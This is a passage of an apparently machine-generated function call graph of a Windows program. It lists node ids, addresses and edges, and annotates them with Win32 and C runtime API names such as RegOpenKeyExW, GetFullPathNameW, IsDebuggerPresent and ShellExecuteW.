94363 b6cc5c 86 API calls 4 library calls 94297->94363 94299 b2d286 48 API calls 94299->94306 94301 b971a1 94358 b3c15c 48 API calls 94301->94358 94303 b3ee75 48 API calls 94303->94306 94304 b26eed 48 API calls 94304->94306 94306->94260 94306->94263 94306->94264 94306->94267 94306->94269 94306->94271 94306->94276 94306->94279 94306->94282 94306->94283 94306->94284 94306->94290 94306->94292 94306->94293 94306->94295 94306->94296 94306->94297 94306->94299 94306->94303 94306->94304 94308 b971e1 94306->94308 94317 b2d9a0 53 API calls __cinit 94306->94317 94318 b2d83d 53 API calls 94306->94318 94319 b2cdb9 48 API calls 94306->94319 94320 b2d6e9 94306->94320 94324 b3c15c 48 API calls 94306->94324 94325 b3c050 94306->94325 94336 b3becb 335 API calls 94306->94336 94342 b2dcae 50 API calls Mailbox 94306->94342 94343 b7ccdc 48 API calls 94306->94343 94344 b6a1eb 50 API calls 94306->94344 94345 b26a63 94306->94345 94308->94295 94365 b6cc5c 86 API calls 4 library calls 94308->94365 94310 b9715f 94310->94301 94357 b7ccdc 48 API calls 94310->94357 94311 b971ce 94312 b3c050 48 API calls 94311->94312 94314 b971d6 94312->94314 94313 b971ab 94313->94297 94313->94311 94314->94308 94315 b97313 94314->94315 94364 b6cc5c 86 API calls 4 library calls 94315->94364 94317->94306 94318->94306 94319->94306 94321 b2d6f4 94320->94321 94322 b2d71b 94321->94322 94371 b2d764 55 API calls 94321->94371 94322->94306 94324->94306 94326 b3c064 94325->94326 94328 b3c069 Mailbox 94325->94328 94372 b3c1af 48 API calls 94326->94372 94334 b3c077 94328->94334 94373 b3c15c 48 API calls 94328->94373 94330 b3f4ea 48 API calls 94332 b3c108 94330->94332 94331 b3c152 94331->94306 94333 b3f4ea 48 API calls 94332->94333 94335 b3c113 94333->94335 94334->94330 94334->94331 94335->94306 94336->94306 94337->94295 94338->94253 94339->94249 94340->94306 94341->94295 94342->94306 94343->94306 94344->94306 94346 b26adf 94345->94346 94348 b26a6f __wsetenvp 94345->94348 94378 b2b18b 94346->94378 94349 b26ad7 94348->94349 94350 b26a8b 94348->94350 94377 b2c369 48 API calls 94349->94377 94374 b26b4a 94350->94374 94353 b26a95 94354 b3ee75 48 API calls 94353->94354 94355 b26ab6 _memcpy_s 94354->94355 94355->94306 94356->94310 94357->94310 94358->94313 94359->94269 94360->94295 94361->94283 94362->94295 94363->94295 94364->94295 94365->94295 94366->94295 94367->94295 94368->94295 94369->94295 94370->94262 94371->94322 94372->94328 94373->94334 94375 b3f4ea 48 API calls 94374->94375 94376 b26b54 94375->94376 94376->94353 94377->94355 94379 b2b199 94378->94379 94381 b2b1a2 _memcpy_s 94378->94381 94379->94381 94382 b2bdfa 94379->94382 94381->94355 94383 b2be0d 94382->94383 94387 b2be0a _memcpy_s 94382->94387 94384 b3f4ea 48 API calls 94383->94384 94385 b2be17 94384->94385 94386 b3ee75 48 API calls 94385->94386 94386->94387 94387->94381 94388 b9197b 94393 b3dd94 94388->94393 94392 b9198a 94394 b3f4ea 48 API calls 94393->94394 94395 b3dd9c 94394->94395 94396 b3ddb0 94395->94396 94401 b3df3d 94395->94401 94400 b40f0a 52 API calls __cinit 94396->94400 94400->94392 94402 b3df46 94401->94402 94403 b3dda8 94401->94403 94433 b40f0a 52 API calls __cinit 94402->94433 94405 b3ddc0 94403->94405 94434 b2d7f7 94405->94434 94408 b26a63 48 API calls 94409 b3de1a 94408->94409 94439 b3dfb4 94409->94439 94415 b924c8 94416 b3debb 94420 b3dee3 94416->94420 94421 b3df31 GetSystemInfo 94416->94421 94417 b3dea4 GetCurrentProcess 94456 b3df5f LoadLibraryA GetProcAddress 94417->94456 94450 b3e00c 94420->94450 94422 b3df0e 94421->94422 94424 b3df21 94422->94424 94425 b3df1c FreeLibrary 94422->94425 94424->94396 94425->94424 94427 b3df29 GetSystemInfo 94430 b3df03 94427->94430 94428 b3def9 94453 b3dff4 94428->94453 94430->94422 94432 b3df09 FreeLibrary 94430->94432 94432->94422 94433->94403 94435 b3f4ea 48 API calls 94434->94435 94436 b2d818 94435->94436 94437 b3f4ea 48 API calls 94436->94437 94438 b2d826 GetVersionExW 94437->94438 94438->94408 94440 b3dfbd 94439->94440 94441 b2b18b 48 API calls 94440->94441 94442 b3de22 94441->94442 94443 b26571 94442->94443 94444 b2657f 94443->94444 94445 b2b18b 48 API calls 94444->94445 94446 b2658f 94445->94446 94446->94415 94447 b3df77 94446->94447 94457 b3df89 94447->94457 94461 b3e01e 94450->94461 94454 b3e00c 2 API calls 94453->94454 94455 b3df01 GetNativeSystemInfo 94454->94455 94455->94430 94456->94416 94458 b3dea0 94457->94458 94459 b3df92 LoadLibraryA 94457->94459 94458->94416 94458->94417 94459->94458 94460 b3dfa3 GetProcAddress 94459->94460 94460->94458 94462 b3def1 94461->94462 94463 b3e027 LoadLibraryA 94461->94463 94462->94427 94462->94428 94463->94462 94464 b3e038 GetProcAddress 94463->94464 94464->94462 94465 b919ba 94470 b3c75a 94465->94470 94469 b919c9 94471 b2d7f7 48 API calls 94470->94471 94472 b3c7c8 94471->94472 94479 b3d26c 94472->94479 94474 b9ccc3 94476 b3c865 94476->94474 94477 b3c881 94476->94477 94482 b3d1fa 48 API calls _memcpy_s 94476->94482 94478 b40f0a 52 API calls __cinit 94477->94478 94478->94469 94483 b3d298 94479->94483 94482->94476 94484 b3d28b 94483->94484 94485 b3d2a5 94483->94485 94484->94476 94485->94484 94486 b3d2ac RegOpenKeyExW 94485->94486 94486->94484 94487 b3d2c6 RegQueryValueExW 94486->94487 94488 b3d2e7 94487->94488 94489 b3d2fc RegCloseKey 94487->94489 94488->94489 94489->94484 94490 b2b7b1 94499 b2c62c 94490->94499 94492 b2b7c2 94493 b2b7ec 94492->94493 94507 b2bc74 48 API calls 94492->94507 94495 b2ba85 48 API calls 94493->94495 94498 b2b6b7 Mailbox 94495->94498 94496 b2b7e0 94508 b2ba85 94496->94508 94516 b2bcce 94499->94516 94501 b939fd 94522 b626bc 88 API calls 4 library calls 94501->94522 94503 b2c799 48 API calls 94504 b2c63b 94503->94504 94504->94501 94504->94503 94505 b2c68b 94504->94505 94505->94492 94506 b93a0b 94507->94496 94509 b2bb25 94508->94509 94512 b2ba98 _memcpy_s 94508->94512 94511 b3f4ea 48 API calls 94509->94511 94510 b3f4ea 48 API calls 94513 b2ba9f 94510->94513 94511->94512 94512->94510 94514 b2bac8 94513->94514 94515 b3f4ea 48 API calls 94513->94515 94514->94493 94515->94514 94517 b2bcdb 94516->94517 94518 b2bce8 94516->94518 94517->94504 94519 b3f4ea 48 API calls 94518->94519 94520 b2bcf2 94519->94520 94521 b3ee75 48 API calls 94520->94521 94521->94517 94522->94506 94523 b919dd 94528 b24a30 94523->94528 94525 b919f1 94548 b40f0a 52 API calls __cinit 94525->94548 94527 b919fb 94529 b24a40 __ftell_nolock 94528->94529 94530 b2d7f7 48 API calls 94529->94530 94531 b24af6 94530->94531 94549 b25374 94531->94549 94533 b24aff 94556 b2363c 94533->94556 94540 b2d7f7 48 API calls 94541 b24b32 94540->94541 94578 b249fb 94541->94578 94543 b261a6 48 API calls 94545 b24b3d _wcscat Mailbox __wsetenvp 94543->94545 94544 b24b43 Mailbox 94544->94525 94545->94543 94545->94544 94546 b2ce19 48 API calls 94545->94546 94547 b264cf 48 API calls 94545->94547 94546->94545 94547->94545 94548->94527 94592 b4f8a0 94549->94592 94552 b2ce19 48 API calls 94553 b253a7 94552->94553 94594 b2660f 94553->94594 94555 b253b1 Mailbox 94555->94533 94557 b23649 __ftell_nolock 94556->94557 94601 b2366c GetFullPathNameW 94557->94601 94559 b2365a 94560 b26a63 48 API calls 94559->94560 94561 b23669 94560->94561 94562 b2518c 94561->94562 94563 b25197 94562->94563 94564 b91ace 94563->94564 94565 b2519f 94563->94565 94567 b26b4a 48 API calls 94564->94567 94603 b25130 94565->94603 94569 b91adb __wsetenvp 94567->94569 94568 b24b18 94572 b264cf 94568->94572 94570 b3ee75 48 API calls 94569->94570 94571 b91b07 _memcpy_s 94570->94571 94573 b2651b 94572->94573 94577 b264dd _memcpy_s 94572->94577 94576 b3f4ea 48 API calls 94573->94576 94574 b3f4ea 48 API calls 94575 b24b29 94574->94575 94575->94540 94576->94577 94577->94574 94579 b2bcce 48 API calls 94578->94579 94580 b24a0a RegOpenKeyExW 94579->94580 94581 b941cc RegQueryValueExW 94580->94581 94582 b24a2b 94580->94582 94583 b941e5 94581->94583 94584 b94246 RegCloseKey 94581->94584 94582->94545 94585 b3f4ea 48 API calls 94583->94585 94586 b941fe 94585->94586 94613 b247b7 94586->94613 94589 b9423b 94589->94584 94590 b94224 94591 b26a63 48 API calls 94590->94591 94591->94589 94593 b25381 GetModuleFileNameW 94592->94593 94593->94552 94595 b4f8a0 __ftell_nolock 94594->94595 94596 b2661c GetFullPathNameW 94595->94596 94597 b26a63 48 API calls 94596->94597 94598 b26643 94597->94598 94599 b26571 48 API calls 94598->94599 94600 b2664f 94599->94600 94600->94555 94602 b2368a 94601->94602 94602->94559 94604 b2513f __wsetenvp 94603->94604 94605 b25151 94604->94605 94606 b91b27 94604->94606 94607 b2bb85 48 API calls 94605->94607 94608 b26b4a 48 API calls 94606->94608 94609 b2515e _memcpy_s 94607->94609 94610 b91b34 94608->94610 94609->94568 94611 b3ee75 48 API calls 94610->94611 94612 b91b57 _memcpy_s 94611->94612 94614 b3f4ea 48 API calls 94613->94614 94615 b247c9 RegQueryValueExW 94614->94615 94615->94589 94615->94590 94616 b45dfd 94617 b45e09 ___lock_fhandle 94616->94617 94653 b47eeb GetStartupInfoW 94617->94653 94619 b45e0e 94655 b49ca7 GetProcessHeap 94619->94655 94621 b45e66 94622 b45e71 94621->94622 94740 b45f4d 47 API calls 3 library calls 94621->94740 94656 b47b47 94622->94656 94625 b45e77 94626 b45e82 __RTC_Initialize 94625->94626 94741 b45f4d 47 API calls 3 library calls 94625->94741 94677 b4acb3 94626->94677 94629 b45e91 94630 b45e9d GetCommandLineW 94629->94630 94742 b45f4d 47 API calls 3 library calls 94629->94742 94696 b52e7d GetEnvironmentStringsW 94630->94696 94633 b45e9c 94633->94630 94637 b45ec2 94709 b52cb4 94637->94709 94640 b45ec8 94643 b45ed3 94640->94643 94744 b4115b 47 API calls 3 library calls 94640->94744 94723 b41195 94643->94723 94644 b45edb 94645 b45ee6 __wwincmdln 94644->94645 94745 b4115b 47 API calls 3 library calls 94644->94745 94727 b23a0f 94645->94727 94648 b45efa 94649 b45f09 94648->94649 94746 b413f1 47 API calls _doexit 94648->94746 94747 b41186 47 API calls _doexit 94649->94747 94652 b45f0e ___lock_fhandle 94654 b47f01 94653->94654 94654->94619 94655->94621 94748 b4123a 30 API calls 2 library calls 94656->94748 94658 b47b4c 94749 b47e23 InitializeCriticalSectionAndSpinCount 94658->94749 94660 b47b51 94661 b47b55 94660->94661 94751 b47e6d TlsAlloc 94660->94751 94750 b47bbd 50 API calls 2 library calls 94661->94750 94664 b47b5a 94664->94625 94665 b47b67 94665->94661 94666 b47b72 94665->94666 94752 b46986 94666->94752 94669 b47bb4 94760 b47bbd 50 API calls 2 library calls 94669->94760 94672 b47bb9 94672->94625 94673 b47b93 94673->94669 94674 b47b99 94673->94674 94759 b47a94 47 API calls 4 library calls 94674->94759 94676 b47ba1 GetCurrentThreadId 94676->94625 94678 b4acbf ___lock_fhandle 94677->94678 94769 b47cf4 94678->94769 94680 b4acc6 94681 b46986 __calloc_crt 47 API calls 94680->94681 94682 b4acd7 94681->94682 94683 b4ad42 GetStartupInfoW 94682->94683 94684 b4ace2 ___lock_fhandle @_EH4_CallFilterFunc@8 94682->94684 94691 b4ad57 94683->94691 94692 b4ae80 94683->94692 94684->94629 94685 b4af44 94776 b4af58 LeaveCriticalSection _doexit 94685->94776 94687 b4aec9 GetStdHandle 94687->94692 94688 b4ada5 94688->94692 94694 b4ade5 InitializeCriticalSectionAndSpinCount 94688->94694 94695 b4add7 GetFileType 94688->94695 94689 b46986 __calloc_crt 47 API calls 94689->94691 94690 b4aedb GetFileType 94690->94692 94691->94688 94691->94689 94691->94692 94692->94685 94692->94687 94692->94690 94693 b4af08 InitializeCriticalSectionAndSpinCount 94692->94693 94693->94692 94694->94688 94695->94688 94695->94694 94697 b45ead 94696->94697 94698 b52e8e 94696->94698 94703 b52a7b GetModuleFileNameW 94697->94703 94815 b469d0 47 API calls _W_store_winword 94698->94815 94701 b52eb4 _memcpy_s 94702 b52eca FreeEnvironmentStringsW 94701->94702 94702->94697 94705 b52aaf _wparse_cmdline 94703->94705 94704 b45eb7 94704->94637 94743 b4115b 47 API calls 3 library calls 94704->94743 94705->94704 94706 b52ae9 94705->94706 94816 b469d0 47 API calls _W_store_winword 94706->94816 94708 b52aef _wparse_cmdline 94708->94704 94710 b52ccd __wsetenvp 94709->94710 94714 b52cc5 94709->94714 94711 b46986 __calloc_crt 47 API calls 94710->94711 94719 b52cf6 __wsetenvp 94711->94719 94712 b52d4d 94713 b41c9d _free 47 API calls 94712->94713 94713->94714 94714->94640 94715 b46986 __calloc_crt 47 API calls 94715->94719 94716 b52d72 94718 b41c9d _free 47 API calls 94716->94718 94718->94714 94719->94712 94719->94714 94719->94715 94719->94716 94720 b52d89 94719->94720 94817 b52567 47 API calls 2 library calls 94719->94817 94818 b46e20 IsProcessorFeaturePresent 94720->94818 94722 b52d95 94722->94640 94724 b411a1 __initterm_e __initp_misc_cfltcvt_tab __IsNonwritableInCurrentImage 94723->94724 94726 b411e0 __IsNonwritableInCurrentImage 94724->94726 94841 b40f0a 52 API calls __cinit 94724->94841 94726->94644 94728 b91ebf 94727->94728 94729 b23a29 94727->94729 94730 b23a63 IsThemeActive 94729->94730 94842 b41405 94730->94842 94734 b23a8f 94854 b23adb SystemParametersInfoW SystemParametersInfoW 94734->94854 94736 b23a9b 94855 b23d19 94736->94855 94738 b23aa3 SystemParametersInfoW 94739 b23ac8 94738->94739 94739->94648 94740->94622 94741->94626 94742->94633 94746->94649 94747->94652 94748->94658 94749->94660 94750->94664 94751->94665 94754 b4698d 94752->94754 94755 b469ca 94754->94755 94756 b469ab Sleep 94754->94756 94761 b530aa 94754->94761 94755->94669 94758 b47ec9 TlsSetValue 94755->94758 94757 b469c2 94756->94757 94757->94754 94757->94755 94758->94673 94759->94676 94760->94672 94762 b530b5 94761->94762 94767 b530d0 __calloc_impl 94761->94767 94763 b530c1 94762->94763 94762->94767 94768 b47c0e 47 API calls __getptd_noexit 94763->94768 94765 b530e0 HeapAlloc 94766 b530c6 94765->94766 94765->94767 94766->94754 94767->94765 94767->94766 94768->94766 94770 b47d05 94769->94770 94771 b47d18 EnterCriticalSection 94769->94771 94777 b47d7c 94770->94777 94771->94680 94773 b47d0b 94773->94771 94801 b4115b 47 API calls 3 library calls 94773->94801 94776->94684 94778 b47d88 ___lock_fhandle 94777->94778 94779 b47d91 94778->94779 94780 b47da9 94778->94780 94802 b481c2 47 API calls __NMSG_WRITE 94779->94802 94782 b47da7 94780->94782 94788 b47e11 ___lock_fhandle 94780->94788 94782->94780 94805 b469d0 47 API calls _W_store_winword 94782->94805 94783 b47d96 94803 b4821f 47 API calls 7 library calls 94783->94803 94786 b47dbd 94789 b47dc4 94786->94789 94790 b47dd3 94786->94790 94787 b47d9d 94804 b41145 GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 94787->94804 94788->94773 94806 b47c0e 47 API calls __getptd_noexit 94789->94806 94793 b47cf4 __lock 46 API calls 94790->94793 94794 b47dda 94793->94794 94796 b47dfe 94794->94796 94797 b47de9 InitializeCriticalSectionAndSpinCount 94794->94797 94795 b47dc9 94795->94788 94807 b41c9d 94796->94807 94798 b47e04 94797->94798 94813 b47e1a LeaveCriticalSection _doexit 94798->94813 94802->94783 94803->94787 94805->94786 94806->94795 94808 b41ca6 RtlFreeHeap 94807->94808 94812 b41ccf _free 94807->94812 94809 b41cbb 94808->94809 94808->94812 94814 b47c0e 47 API calls __getptd_noexit 94809->94814 94811 b41cc1 GetLastError 94811->94812 94812->94798 94813->94788 94814->94811 94815->94701 94816->94708 94817->94719 94819 b46e2b 94818->94819 94824 b46cb5 94819->94824 94823 b46e46 94823->94722 94825 b46ccf _memset __call_reportfault 94824->94825 94826 b46cef IsDebuggerPresent 94825->94826 94832 b481ac SetUnhandledExceptionFilter UnhandledExceptionFilter 94826->94832 94829 b46db3 __call_reportfault 94833 b4a70c 94829->94833 94830 b46dd6 94831 b48197 GetCurrentProcess TerminateProcess 94830->94831 94831->94823 94832->94829 94834 b4a714 94833->94834 94835 b4a716 IsProcessorFeaturePresent 94833->94835 94834->94830 94837 b537b0 94835->94837 94840 b5375f 5 API calls 2 library calls 94837->94840 94839 b53893 94839->94830 94840->94839 94841->94726 94843 b47cf4 __lock 47 API calls 94842->94843 94844 b41410 94843->94844 94907 b47e58 LeaveCriticalSection 94844->94907 94846 b23a88 94847 b4146d 94846->94847 94848 b41477 94847->94848 94849 b41491 94847->94849 94848->94849 94908 b47c0e 47 API calls __getptd_noexit 94848->94908 94849->94734 94851 b41481 94909 b46e10 8 API calls __fclose_nolock 94851->94909 94853 b4148c 94853->94734 94854->94736 94856 b23d26 __ftell_nolock 94855->94856 94857 b2d7f7 48 API calls 94856->94857 94858 b23d31 GetCurrentDirectoryW 94857->94858 94910 b261ca 94858->94910 94860 b23d57 IsDebuggerPresent 94861 b23d65 94860->94861 94862 b91cc1 MessageBoxA 94860->94862 94864 b91cd9 94861->94864 94865 b23d82 94861->94865 94893 b23e3a 94861->94893 94862->94864 94863 b23e41 SetCurrentDirectoryW 94871 b23e4e Mailbox 94863->94871 95096 b3c682 48 API calls 94864->95096 94984 b240e5 94865->94984 94868 b91ce9 94874 b91cff SetCurrentDirectoryW 94868->94874 94870 b23da0 GetFullPathNameW 94872 b26a63 48 API calls 94870->94872 94871->94738 94873 b23ddb 94872->94873 95000 b26430 94873->95000 94874->94871 94877 b23df6 94878 b23e00 94877->94878 95097 b671fa AllocateAndInitializeSid CheckTokenMembership FreeSid 94877->95097 95016 b23e6e GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 94878->95016 94881 b91d1c 94881->94878 94884 b91d2d 94881->94884 94886 b25374 50 API calls 94884->94886 94885 b23e0a 94887 b23e1f 94885->94887 95024 b24ffc 94885->95024 94888 b91d35 94886->94888 95034 b2e8d0 94887->95034 94891 b2ce19 48 API calls 94888->94891 94894 b91d42 94891->94894 94893->94863 94896 b91d49 94894->94896 94897 b91d6e 94894->94897 94899 b2518c 48 API calls 94896->94899 94898 b2518c 48 API calls 94897->94898 94900 b91d6a GetForegroundWindow ShellExecuteW 94898->94900 94901 b91d54 94899->94901 94905 b91d9e Mailbox 94900->94905 94903 b2510d 48 API calls 94901->94903 94904 b91d61 94903->94904 94906 b2518c 48 API calls 94904->94906 94905->94893 94906->94900 94907->94846 94908->94851 94909->94853 95098 b3e99b 94910->95098 94914 b261eb 94915 b25374 50 API calls 94914->94915 94916 b261ff 94915->94916 94917 b2ce19 48 API calls 94916->94917 94918 b2620c 94917->94918 95115 b239db 94918->95115 94920 b26216 Mailbox 94921 b26eed 48 API calls 94920->94921 94922 b2622b 94921->94922 95127 b29048 94922->95127 94925 b2ce19 48 API calls 94926 b26244 94925->94926 94927 b2d6e9 55 API calls 94926->94927 94928 b26254 Mailbox 94927->94928 94929 b2ce19 48 API calls 94928->94929 94930 b2627c 94929->94930 94931 b2d6e9 55 API calls 94930->94931 94932 b2628f Mailbox 94931->94932 94933 b2ce19 48 API calls 94932->94933 94934 b262a0 94933->94934 95130 b2d645 94934->95130 94936 b262b2 Mailbox 94937 b2d7f7 48 API calls 94936->94937 94938 b262c5 94937->94938 95140 b263fc 94938->95140 94942 b262df 94943 b91c08 94942->94943 94944 b262e9 94942->94944 94946 b263fc 48 API calls 94943->94946 94945 b40fa7 _W_store_winword 59 API calls 94944->94945 94947 b262f4 94945->94947 94948 b91c1c 94946->94948 94947->94948 94949 b262fe 94947->94949 94950 b263fc 48 API calls 94948->94950 94951 b40fa7 _W_store_winword 59 API calls 94949->94951 94952 b91c38 94950->94952 94953 b26309 94951->94953 94955 b25374 50 API calls 94952->94955 94953->94952 94954 b26313 94953->94954 94956 b40fa7 _W_store_winword 59 API calls 94954->94956 94957 b91c5d 94955->94957 94958 b2631e 94956->94958 94959 b263fc 48 API calls 94957->94959 94960 b2635f 94958->94960 94961 b91c86 94958->94961 94966 b263fc 48 API calls 94958->94966 94963 b91c69 94959->94963 94960->94961 94962 b2636c 94960->94962 94964 b26eed 48 API calls 94961->94964 94969 b3c050 48 API calls 94962->94969 94965 b26eed 48 API calls 94963->94965 94968 b91ca8 94964->94968 94970 b91c77 94965->94970 94967 b26342 94966->94967 94971 b26eed 48 API calls 94967->94971 94972 b263fc 48 API calls 94968->94972 94973 b26384 94969->94973 94974 b263fc 48 API calls 94970->94974 94975 b26350 94971->94975 94976 b91cb5 94972->94976 95156 b31b90 94973->95156 94974->94961 94978 b263fc 48 API calls 94975->94978 94976->94976 94978->94960 94979 b26394 94980 b31b90 48 API calls 94979->94980 94982 b263fc 48 API calls 94979->94982 94983 b263d6 Mailbox 94979->94983 95172 b26b68 48 API calls 94979->95172 94980->94979 94982->94979 94983->94860 94985 b240f2 __ftell_nolock 94984->94985 94986 b9370e _memset 94985->94986 94987 b2410b 94985->94987 94989 b9372a GetOpenFileNameW 94986->94989 94988 b2660f 49 API calls 94987->94988 94990 b24114 94988->94990 94991 b93779 94989->94991 95697 b240a7 94990->95697 94993 b26a63 48 API calls 94991->94993 94995 b9378e 94993->94995 94995->94995 94997 b24129 95715 b24139 94997->95715 95001 b2643d __ftell_nolock 95000->95001 95917 b24c75 95001->95917 95003 b26442 95004 b23dee 95003->95004 95928 b25928 86 API calls 95003->95928 95004->94868 95004->94877 95006 b2644f 95006->95004 95929 b25798 88 API calls Mailbox 95006->95929 95008 b26458 95008->95004 95009 b2645c GetFullPathNameW 95008->95009 95010 b26a63 48 API calls 95009->95010 95011 b26488 95010->95011 95012 b26a63 48 API calls 95011->95012 95013 b26495 95012->95013 95014 b95dcf _wcscat 95013->95014 95015 b26a63 48 API calls 95013->95015 95015->95004 95017 b91cba 95016->95017 95018 b23ed8 95016->95018 95978 b24024 95018->95978 95022 b23e05 95023 b236b8 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 95022->95023 95023->94885 95025 b25027 _memset 95024->95025 95983 b24c30 95025->95983 95028 b250ac 95030 b93d28 Shell_NotifyIconW 95028->95030 95031 b250ca Shell_NotifyIconW 95028->95031 95987 b251af 95031->95987 95033 b250df 95033->94887 95035 b2e8f6 95034->95035 95068 b2e906 Mailbox 95034->95068 95036 b2ed52 95035->95036 95035->95068 96135 b3e3cd 335 API calls 95036->96135 95037 b2ebc7 95039 b23e2a 95037->95039 96136 b22ff6 16 API calls 95037->96136 95039->94893 95095 b23847 Shell_NotifyIconW _memset 95039->95095 95041 b2ed63 95041->95039 95042 b2ed70 95041->95042 96137 b3e312 335 API calls Mailbox 95042->96137 95043 b2e94c PeekMessageW 95043->95068 95045 b9526e Sleep 95045->95068 95046 b2ed77 LockWindowUpdate DestroyWindow GetMessageW 95046->95039 95048 b2eda9 95046->95048 95049 b959ef TranslateMessage DispatchMessageW GetMessageW 95048->95049 95049->95049 95051 b95a1f 95049->95051 95051->95039 95052 b2ed21 PeekMessageW 95052->95068 95053 b2ebf7 timeGetTime 95053->95068 95055 b3f4ea 48 API calls 95055->95068 95056 b26eed 48 API calls 95056->95068 95057 b95557 WaitForSingleObject 95060 b95574 GetExitCodeProcess CloseHandle 95057->95060 95057->95068 95058 b2ed3a TranslateMessage DispatchMessageW 95058->95052 95059 b9588f Sleep 95079 b95429 Mailbox 95059->95079 95060->95068 95061 b2d7f7 48 API calls 95061->95079 95062 b2edae timeGetTime 96138 b21caa 49 API calls 95062->96138 95063 b95733 Sleep 95063->95079 95064 b3dc38 timeGetTime 95064->95079 95068->95037 95068->95043 95068->95045 95068->95052 95068->95053 95068->95055 95068->95056 95068->95057 95068->95058 95068->95059 95068->95062 95068->95063 95071 b95445 Sleep 95068->95071 95068->95079 95080 b21caa 49 API calls 95068->95080 95090 b2d6e9 55 API calls 95068->95090 95091 b6cc5c 86 API calls 95068->95091 95093 b2ce19 48 API calls 95068->95093 95094 b22aae 311 API calls 95068->95094 96010 b2ef00 95068->96010 96017 b2f110 95068->96017 96082 b345e0 95068->96082 96098 b3e244 95068->96098 96103 b3dc5f 95068->96103 96108 b2eed0 335 API calls Mailbox 95068->96108 96109 b33200 95068->96109 96139 b88d23 48 API calls 95068->96139 96143 b2fe30 95068->96143 95069 b95926 GetExitCodeProcess 95072 b9593c WaitForSingleObject 95069->95072 95073 b95952 CloseHandle 95069->95073 95071->95068 95072->95068 95072->95073 95073->95079 95074 b95432 Sleep 95074->95071 95075 b88c4b 108 API calls 95075->95079 95076 b22c79 107 API calls 95076->95079 95078 b959ae Sleep 95078->95068 95079->95061 95079->95064 95079->95068 95079->95069 95079->95071 95079->95074 95079->95075 95079->95076 95079->95078 95083 b2ce19 48 API calls 95079->95083 95086 b2d6e9 55 API calls 95079->95086 96140 b64cbe 49 API calls Mailbox 95079->96140 96141 b21caa 49 API calls 95079->96141 96142 b22aae 335 API calls 95079->96142 96172 b7ccb2 50 API calls 95079->96172 96173 b67a58 QueryPerformanceCounter QueryPerformanceFrequency Sleep QueryPerformanceCounter Sleep 95079->96173 96174 b66532 63 API calls 3 library calls 95079->96174 95080->95068 95083->95079 95086->95079 95090->95068 95091->95068 95093->95068 95094->95068 95095->94893 95096->94868 95097->94881 95099 b2d7f7 48 API calls 95098->95099 95100 b261db 95099->95100 95101 b26009 95100->95101 95102 b26016 __ftell_nolock 95101->95102 95103 b26a63 48 API calls 95102->95103 95108 b2617c Mailbox 95102->95108 95105 b26048 95103->95105 95113 b2607e Mailbox 95105->95113 95173 b261a6 95105->95173 95106 b2614f 95107 b2ce19 48 API calls 95106->95107 95106->95108 95110 b26170 95107->95110 95108->94914 95109 b2ce19 48 API calls 95109->95113 95111 b264cf 48 API calls 95110->95111 95111->95108 95112 b264cf 48 API calls 95112->95113 95113->95106 95113->95108 95113->95109 95113->95112 95114 b261a6 48 API calls 95113->95114 95114->95113 95176 b241a9 95115->95176 95118 b23a06 95118->94920 95121 b92ff0 95123 b41c9d _free 47 API calls 95121->95123 95124 b92ffd 95123->95124 95125 b24252 84 API calls 95124->95125 95126 b93006 95125->95126 95126->95126 95128 b3f4ea 48 API calls 95127->95128 95129 b26237 95128->95129 95129->94925 95131 b2d654 95130->95131 95139 b2d67e 95130->95139 95132 b2d65b 95131->95132 95135 b2d6c2 95131->95135 95133 b2d6ab 95132->95133 95134 b2d666 95132->95134 95133->95139 95690 b3dce0 53 API calls 95133->95690 95689 b2d9a0 53 API calls __cinit 95134->95689 95135->95133 95691 b3dce0 53 API calls 95135->95691 95139->94936 95141 b26406 95140->95141 95142 b2641f 95140->95142 95144 b26eed 48 API calls 95141->95144 95143 b26a63 48 API calls 95142->95143 95145 b262d1 95143->95145 95144->95145 95146 b40fa7 95145->95146 95147 b40fb3 95146->95147 95148 b41028 95146->95148 95152 b40fd8 95147->95152 95692 b47c0e 47 API calls __getptd_noexit 95147->95692 95694 b4103a 59 API calls 4 library calls 95148->95694 95151 b41035 95151->94942 95152->94942 95153 b40fbf 95693 b46e10 8 API calls __fclose_nolock 95153->95693 95155 b40fca 95155->94942 95157 b31cf6 95156->95157 95159 b31ba2 95156->95159 95157->94979 95158 b31c5d 95158->94979 95162 b3f4ea 48 API calls 95159->95162 95171 b31bae 95159->95171 95161 b31bb9 95161->95158 95165 b3f4ea 48 API calls 95161->95165 95163 b949c4 95162->95163 95164 b3f4ea 48 API calls 95163->95164 95170 b949cf 95164->95170 95166 b31c9f 95165->95166 95167 b31cb2 95166->95167 95695 b22925 48 API calls 95166->95695 95167->94979 95169 b3f4ea 48 API calls 95169->95170 95170->95169 95170->95171 95171->95161 95696 b3c15c 48 API calls 95171->95696 95172->94979 95174 b2bdfa 48 API calls 95173->95174 95175 b261b1 95174->95175 95175->95105 95241 b24214 95176->95241 95181 b241d4 LoadLibraryExW 95251 b24291 95181->95251 95182 b94f73 95184 b24252 84 API calls 95182->95184 95186 b94f7a 95184->95186 95188 b24291 3 API calls 95186->95188 95190 b94f82 95188->95190 95189 b241fb 95189->95190 95191 b24207 95189->95191 95277 b244ed 95190->95277 95193 b24252 84 API calls 95191->95193 95195 b239fe 95193->95195 95195->95118 95200 b6c396 95195->95200 95197 b94fa9 95285 b24950 95197->95285 95199 b94fb6 95201 b24517 83 API calls 95200->95201 95202 b6c405 95201->95202 95463 b6c56d 95202->95463 95205 b244ed 64 API calls 95206 b6c432 95205->95206 95207 b244ed 64 API calls 95206->95207 95208 b6c442 95207->95208 95209 b244ed 64 API calls 95208->95209 95210 b6c45d 95209->95210 95211 b244ed 64 API calls 95210->95211 95212 b6c478 95211->95212 95213 b24517 83 API calls 95212->95213 95214 b6c48f 95213->95214 95215 b4395c _W_store_winword 47 API calls 95214->95215 95216 b6c496 95215->95216 95217 b4395c _W_store_winword 47 API calls 95216->95217 95218 b6c4a0 95217->95218 95219 b244ed 64 API calls 95218->95219 95220 b6c4b4 95219->95220 95221 b6bf5a GetSystemTimeAsFileTime 95220->95221 95222 b6c4c7 95221->95222 95223 b6c4f1 95222->95223 95224 b6c4dc 95222->95224 95226 b6c556 95223->95226 95227 b6c4f7 95223->95227 95225 b41c9d _free 47 API calls 95224->95225 95230 b6c4e2 95225->95230 95229 b41c9d _free 47 API calls 95226->95229 95469 b6b965 118 API calls __fcloseall 95227->95469 95232 b6c41b 95229->95232 95233 b41c9d _free 47 API calls 95230->95233 95231 b6c54e 95234 b41c9d _free 47 API calls 